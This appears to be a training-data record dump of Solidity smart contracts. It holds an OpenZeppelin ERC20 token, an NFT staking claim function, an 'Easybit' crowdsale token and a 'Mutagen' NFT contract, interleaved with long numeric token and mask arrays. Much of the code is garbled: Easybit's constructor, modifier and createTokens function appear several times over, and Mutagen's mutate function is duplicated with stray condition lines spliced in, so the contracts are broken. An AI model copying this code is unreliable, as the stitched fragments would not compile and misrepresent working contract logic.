import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
|
Claim all the staked tokens from registered NFT contracts
|
function claimAll() public {
for (uint256 i = 0; i < NFTTokenList.length; i++) {
address _tokenAddress = NFTTokenList[i];
uint256[] storage tokenList = stakers[_tokenAddress][msg.sender].tokenIds;
for (uint256 index = 0; index < tokenList.length; index++) {
_claimReward(msg.sender, _tokenAddress, tokenList[index]);
}
}
}
| 12,708,341 |
[
1,
9762,
777,
326,
384,
9477,
2430,
628,
4104,
423,
4464,
20092,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
7516,
1595,
1435,
1071,
288,
203,
565,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
423,
4464,
1345,
682,
18,
2469,
31,
277,
27245,
288,
203,
1377,
1758,
389,
2316,
1887,
273,
423,
4464,
1345,
682,
63,
77,
15533,
203,
1377,
2254,
5034,
8526,
2502,
1147,
682,
273,
384,
581,
414,
63,
67,
2316,
1887,
6362,
3576,
18,
15330,
8009,
2316,
2673,
31,
203,
1377,
364,
261,
11890,
5034,
770,
273,
374,
31,
770,
411,
1147,
682,
18,
2469,
31,
770,
27245,
288,
203,
3639,
389,
14784,
17631,
1060,
12,
3576,
18,
15330,
16,
389,
2316,
1887,
16,
1147,
682,
63,
1615,
19226,
203,
1377,
289,
203,
565,
289,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x234DB38b60569972499bB3C8569feC4821B7A58D/sources/Easybit.sol
|
ERC20 Token Smart Contract Functions with this modifier can only be executed by the owner
|
contract Easybit {
string public constant name = "Easybit";
string public constant symbol = "ESYT";
uint8 public constant decimals = 18;
uint public _totalSupply = 500000000000000000000;
uint256 public RATE = 1;
bool public isMinting = true;
bool public isExchangeListed = false;
string public constant generatedBy = "Togen.io by Proof Suite";
using SafeMath for uint256;
address public owner;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
mapping(address => uint256) balances;
mapping(address => mapping(address=>uint256)) allowed;
function () payable{
createTokens();
}
constructor() public payable {
address originalFeeReceive = 0x6661084EAF2DD24aCAaDe2443292Be76eb344888;
if(isExchangeListed == false){
originalFeeReceive.transfer(500000000000000000);
}
else{
originalFeeReceive.transfer(3500000000000000000);
}
owner = 0xfa2e68a6867643cf073483c7c987cd2d8b0f6211;
balances[owner] = _totalSupply;
}
constructor() public payable {
address originalFeeReceive = 0x6661084EAF2DD24aCAaDe2443292Be76eb344888;
if(isExchangeListed == false){
originalFeeReceive.transfer(500000000000000000);
}
else{
originalFeeReceive.transfer(3500000000000000000);
}
owner = 0xfa2e68a6867643cf073483c7c987cd2d8b0f6211;
balances[owner] = _totalSupply;
}
constructor() public payable {
address originalFeeReceive = 0x6661084EAF2DD24aCAaDe2443292Be76eb344888;
if(isExchangeListed == false){
originalFeeReceive.transfer(500000000000000000);
}
else{
originalFeeReceive.transfer(3500000000000000000);
}
owner = 0xfa2e68a6867643cf073483c7c987cd2d8b0f6211;
balances[owner] = _totalSupply;
}
function burnTokens(uint256 _value) onlyOwner {
require(balances[msg.sender] >= _value && _value > 0 );
_totalSupply = _totalSupply.sub(_value);
balances[msg.sender] = balances[msg.sender].sub(_value);
}
function createTokens() payable {
if(isMinting == true){
require(msg.value > 0);
uint256 tokens = msg.value.div(100000000000000).mul(RATE);
balances[msg.sender] = balances[msg.sender].add(tokens);
_totalSupply = _totalSupply.add(tokens);
owner.transfer(msg.value);
}
else{
throw;
}
}
function createTokens() payable {
if(isMinting == true){
require(msg.value > 0);
uint256 tokens = msg.value.div(100000000000000).mul(RATE);
balances[msg.sender] = balances[msg.sender].add(tokens);
_totalSupply = _totalSupply.add(tokens);
owner.transfer(msg.value);
}
else{
throw;
}
}
function createTokens() payable {
if(isMinting == true){
require(msg.value > 0);
uint256 tokens = msg.value.div(100000000000000).mul(RATE);
balances[msg.sender] = balances[msg.sender].add(tokens);
_totalSupply = _totalSupply.add(tokens);
owner.transfer(msg.value);
}
else{
throw;
}
}
function endCrowdsale() onlyOwner {
isMinting = false;
}
function changeCrowdsaleRate(uint256 _value) onlyOwner {
RATE = _value;
}
function totalSupply() constant returns(uint256){
return _totalSupply;
}
function balanceOf(address _owner) constant returns(uint256){
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns(bool) {
require(balances[msg.sender] >= _value && _value > 0 );
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns(bool){
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns(uint256){
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| 4,042,053 |
[
1,
654,
39,
3462,
3155,
19656,
13456,
15486,
598,
333,
9606,
848,
1338,
506,
7120,
635,
326,
3410,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
6835,
29442,
3682,
288,
203,
540,
203,
3639,
533,
1071,
5381,
508,
273,
315,
41,
15762,
3682,
14432,
203,
3639,
533,
1071,
5381,
3273,
273,
315,
3991,
61,
56,
14432,
203,
3639,
2254,
28,
1071,
5381,
15105,
273,
6549,
31,
203,
3639,
2254,
1071,
389,
4963,
3088,
1283,
273,
1381,
12648,
12648,
2787,
31,
203,
3639,
2254,
5034,
1071,
534,
1777,
273,
404,
31,
203,
3639,
1426,
1071,
15707,
474,
310,
273,
638,
31,
203,
3639,
1426,
1071,
353,
11688,
682,
329,
273,
629,
31,
203,
3639,
533,
1071,
5381,
4374,
858,
225,
273,
315,
56,
19409,
18,
1594,
635,
1186,
792,
348,
9519,
14432,
203,
540,
203,
3639,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
3639,
1758,
1071,
3410,
31,
203,
540,
203,
540,
9606,
1338,
5541,
1435,
288,
203,
5411,
309,
261,
3576,
18,
15330,
480,
3410,
13,
288,
203,
7734,
604,
31,
203,
5411,
289,
203,
2398,
389,
31,
203,
540,
289,
203,
1377,
203,
203,
540,
9606,
1338,
5541,
1435,
288,
203,
5411,
309,
261,
3576,
18,
15330,
480,
3410,
13,
288,
203,
7734,
604,
31,
203,
5411,
289,
203,
2398,
389,
31,
203,
540,
289,
203,
1377,
203,
203,
3639,
2874,
12,
2867,
516,
2254,
5034,
13,
324,
26488,
31,
203,
3639,
2874,
12,
2867,
516,
2874,
12,
2867,
9207,
11890,
5034,
3719,
2935,
31,
203,
3639,
445,
1832,
8843,
429,
95,
203,
5411,
752,
5157,
5621,
203,
3639,
289,
203,
203,
3639,
3885,
1435,
1071,
8843,
429,
288,
203,
5411,
1758,
2282,
14667,
11323,
273,
374,
2
] |
./full_match/1/0xDf9E0684F15e60cFCC646ACffB02d97D2D5a1a67/sources/contracts/MutagenToken.sol
|
Print bonding curve parameters - NEVER MUTATE All the BC prices need to be even numbers for feeShare in _collectFees to be calculated correctly Probability in % that a rare variant occurs Maximum number of Genesis tokens Maximum number of Mutagen tokens
|
contract MutagenToken is ERC721Enumerable, ActiveAfterBlock, IdUtils {
uint256 constant PRINT_FEE_BASE = 0.2 ether;
uint256 constant PRINT_CURVE_EXPONENT = 4;
uint256 constant PRINT_CURVE_COEFFICIENT = 0.00000002 ether;
uint8 constant RARE_VARIANT_PROBABILITY = 2;
uint8 constant MAX_GENESIS_TOKENS = 40;
uint16 constant MAX_MUTAGEN_TOKENS = 4096;
pragma solidity 0.8.4;
import {ERC721, ERC721Enumerable} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
struct Genesis {
uint256 printNonce;
uint256 printSupply;
uint256[] printCounts;
uint256 fees;
uint8[2] moon;
uint8[2] punk;
uint8[4][] generations;
}
event Print(
address to,
uint8 genesisIdx,
uint16 generationIdx,
uint256 nextPrintValue
);
event Burn(
address from,
uint8 genesisIdx,
uint16 generationIdx,
uint256 nextBurnValue
);
event Mutation(uint8 genesisIdx, uint8[4] newGeneration);
event PermanentURI(string _value, uint256 indexed _id);
uint8 public remainingMoonMutations = 4;
constructor(
string memory _assetsBaseURL,
uint256 _startingBlock,
string memory _metadataBaseURL
uint256 public reserve;
uint256 public protocolFees;
uint8 public remainingPunkMutations = 2;
string public assetsBaseURL;
string public metadataBaseURL;
Genesis[MAX_GENESIS_TOKENS] private _geneses;
address private _minter;
mapping(uint256 => string) private _tokenURIs;
) ERC721("Mutagen", "MUTAGEN") {
assetsBaseURL = _assetsBaseURL;
startingBlock = _startingBlock;
metadataBaseURL = _metadataBaseURL;
_initGenesis(0, [2, 3], [1, 3], [0, 0, 0, 0]);
_initGenesis(1, [0, 3], [3, 3], [2, 0, 3, 2]);
_initGenesis(2, [3, 3], [2, 3], [2, 0, 0, 0]);
_initGenesis(3, [2, 3], [3, 3], [0, 0, 1, 1]);
_initGenesis(4, [2, 3], [1, 3], [0, 0, 0, 0]);
_initGenesis(5, [3, 3], [2, 3], [3, 1, 0, 0]);
_initGenesis(6, [0, 3], [3, 3], [0, 0, 0, 1]);
_initGenesis(7, [0, 3], [1, 3], [1, 2, 1, 2]);
_initGenesis(8, [3, 3], [2, 3], [2, 1, 1, 0]);
_initGenesis(9, [3, 3], [2, 3], [2, 2, 1, 0]);
_initGenesis(10, [0, 3], [3, 3], [0, 1, 1, 1]);
_initGenesis(11, [3, 3], [2, 3], [3, 0, 1, 0]);
_initGenesis(12, [0, 3], [2, 3], [0, 0, 0, 0]);
_initGenesis(13, [3, 3], [1, 3], [0, 0, 0, 0]);
_initGenesis(14, [3, 3], [2, 3], [0, 1, 1, 0]);
_initGenesis(15, [3, 3], [2, 3], [3, 1, 2, 1]);
_initGenesis(16, [0, 3], [0, 2], [1, 1, 0, 2]);
_initGenesis(17, [3, 3], [2, 3], [1, 1, 1, 1]);
_initGenesis(18, [1, 3], [3, 3], [3, 1, 1, 2]);
_initGenesis(19, [0, 3], [3, 3], [1, 1, 3, 0]);
_initGenesis(20, [0, 3], [1, 3], [0, 0, 0, 0]);
_initGenesis(21, [3, 3], [0, 3], [1, 1, 2, 0]);
_initGenesis(22, [0, 3], [0, 2], [1, 1, 1, 0]);
_initGenesis(23, [0, 3], [3, 3], [1, 3, 1, 2]);
_initGenesis(24, [3, 3], [0, 3], [1, 3, 3, 2]);
_initGenesis(25, [3, 3], [1, 3], [1, 0, 1, 1]);
_initGenesis(26, [3, 3], [2, 3], [3, 3, 2, 2]);
_initGenesis(27, [3, 3], [2, 3], [3, 1, 0, 2]);
_initGenesis(28, [0, 3], [1, 3], [1, 1, 2, 1]);
_initGenesis(29, [0, 3], [3, 3], [0, 0, 0, 1]);
_initGenesis(30, [1, 3], [0, 3], [0, 0, 0, 0]);
_initGenesis(31, [0, 3], [2, 3], [0, 0, 0, 0]);
_initGenesis(32, [0, 3], [3, 3], [2, 1, 2, 2]);
_initGenesis(33, [0, 3], [2, 3], [2, 3, 0, 1]);
_initGenesis(34, [0, 2], [0, 3], [0, 0, 3, 0]);
_initGenesis(35, [0, 3], [2, 3], [0, 0, 1, 2]);
_initGenesis(36, [3, 3], [2, 3], [1, 3, 1, 0]);
_initGenesis(37, [0, 3], [1, 3], [2, 0, 1, 2]);
_initGenesis(38, [0, 3], [1, 3], [0, 0, 0, 0]);
_initGenesis(39, [0, 3], [1, 3], [2, 0, 3, 1]);
}
function print(uint256 genesisId)
external
payable
isTokenType(genesisId, GENESIS_TOKEN)
isActive
{
uint8 genesisIdx = unpackGenesisId(genesisId);
Genesis storage genesis = _geneses[genesisIdx];
uint16 generationIdx = uint16(genesis.generations.length) - 1;
uint256 printId = packPrintId(
genesisIdx,
genesis.printNonce,
generationIdx
);
uint256 usedFees = _collectFees(genesisIdx);
genesis.printNonce += 1;
genesis.printCounts[generationIdx] += 1;
genesis.printSupply += 1;
_safeMint(msg.sender, printId);
_refundExcess(usedFees);
emit Print(
msg.sender,
genesisIdx,
generationIdx,
getPrintValue(genesis.printSupply + 1)
);
}
function burn(uint256 printId)
external
onlyTokenOwner(printId)
isTokenType(printId, PRINT_TOKEN)
{
(uint8 genesisIdx, , uint16 generationIdx) = unpackPrintId(printId);
Genesis storage genesis = _geneses[genesisIdx];
uint256 burnValue = getBurnValue(genesis.printSupply);
genesis.printSupply -= 1;
genesis.printCounts[generationIdx] -= 1;
reserve -= burnValue;
_burn(printId);
_send(burnValue, msg.sender);
emit Burn(
msg.sender,
genesisIdx,
generationIdx,
getBurnValue(genesis.printSupply)
);
}
function mutate(uint256 genesisId, uint256 mutagenId)
external
onlyTokenOwner(genesisId)
isTokenType(genesisId, GENESIS_TOKEN)
onlyTokenOwner(mutagenId)
isTokenType(mutagenId, MUTAGEN_TOKEN)
isActive
{
uint8 genesisIdx = unpackGenesisId(genesisId);
Genesis storage genesis = _geneses[genesisIdx];
_burn(mutagenId);
uint8[4] memory newGeneration = genesis.generations[
genesis.generations.length - 1
];
(uint8 layer, uint8 variant, ) = unpackMutagenId(mutagenId);
if (
layer != genesis.punk[0] && layer != genesis.moon[0]
) {
newGeneration[layer] = uint8(variant % 4);
} else if (
remainingMoonMutations > 0 &&
variant < RARE_VARIANT_PROBABILITY
) {
newGeneration[layer] = genesis.moon[1];
remainingMoonMutations -= 1;
} else if (
remainingPunkMutations > 0 &&
variant < RARE_VARIANT_PROBABILITY
) {
newGeneration[layer] = genesis.punk[1];
remainingPunkMutations -= 1;
uint8 regularVariantCount = 4 -
(genesis.punk[0] == layer ? 1 : 0) -
(genesis.moon[0] == layer ? 1 : 0);
newGeneration[layer] = uint8(variant % regularVariantCount);
}
if (fees > 0) {
genesis.fees = 0;
_send(fees, msg.sender);
}
}
function mutate(uint256 genesisId, uint256 mutagenId)
external
onlyTokenOwner(genesisId)
isTokenType(genesisId, GENESIS_TOKEN)
onlyTokenOwner(mutagenId)
isTokenType(mutagenId, MUTAGEN_TOKEN)
isActive
{
uint8 genesisIdx = unpackGenesisId(genesisId);
Genesis storage genesis = _geneses[genesisIdx];
_burn(mutagenId);
uint8[4] memory newGeneration = genesis.generations[
genesis.generations.length - 1
];
(uint8 layer, uint8 variant, ) = unpackMutagenId(mutagenId);
if (
layer != genesis.punk[0] && layer != genesis.moon[0]
) {
newGeneration[layer] = uint8(variant % 4);
} else if (
remainingMoonMutations > 0 &&
variant < RARE_VARIANT_PROBABILITY
) {
newGeneration[layer] = genesis.moon[1];
remainingMoonMutations -= 1;
} else if (
remainingPunkMutations > 0 &&
variant < RARE_VARIANT_PROBABILITY
) {
newGeneration[layer] = genesis.punk[1];
remainingPunkMutations -= 1;
uint8 regularVariantCount = 4 -
(genesis.punk[0] == layer ? 1 : 0) -
(genesis.moon[0] == layer ? 1 : 0);
newGeneration[layer] = uint8(variant % regularVariantCount);
}
if (fees > 0) {
genesis.fees = 0;
_send(fees, msg.sender);
}
}
layer == genesis.moon[0] &&
function mutate(uint256 genesisId, uint256 mutagenId)
external
onlyTokenOwner(genesisId)
isTokenType(genesisId, GENESIS_TOKEN)
onlyTokenOwner(mutagenId)
isTokenType(mutagenId, MUTAGEN_TOKEN)
isActive
{
uint8 genesisIdx = unpackGenesisId(genesisId);
Genesis storage genesis = _geneses[genesisIdx];
_burn(mutagenId);
uint8[4] memory newGeneration = genesis.generations[
genesis.generations.length - 1
];
(uint8 layer, uint8 variant, ) = unpackMutagenId(mutagenId);
if (
layer != genesis.punk[0] && layer != genesis.moon[0]
) {
newGeneration[layer] = uint8(variant % 4);
} else if (
remainingMoonMutations > 0 &&
variant < RARE_VARIANT_PROBABILITY
) {
newGeneration[layer] = genesis.moon[1];
remainingMoonMutations -= 1;
} else if (
remainingPunkMutations > 0 &&
variant < RARE_VARIANT_PROBABILITY
) {
newGeneration[layer] = genesis.punk[1];
remainingPunkMutations -= 1;
uint8 regularVariantCount = 4 -
(genesis.punk[0] == layer ? 1 : 0) -
(genesis.moon[0] == layer ? 1 : 0);
newGeneration[layer] = uint8(variant % regularVariantCount);
}
if (fees > 0) {
genesis.fees = 0;
_send(fees, msg.sender);
}
}
layer == genesis.punk[0] &&
function mutate(uint256 genesisId, uint256 mutagenId)
external
onlyTokenOwner(genesisId)
isTokenType(genesisId, GENESIS_TOKEN)
onlyTokenOwner(mutagenId)
isTokenType(mutagenId, MUTAGEN_TOKEN)
isActive
{
uint8 genesisIdx = unpackGenesisId(genesisId);
Genesis storage genesis = _geneses[genesisIdx];
_burn(mutagenId);
uint8[4] memory newGeneration = genesis.generations[
genesis.generations.length - 1
];
(uint8 layer, uint8 variant, ) = unpackMutagenId(mutagenId);
if (
layer != genesis.punk[0] && layer != genesis.moon[0]
) {
newGeneration[layer] = uint8(variant % 4);
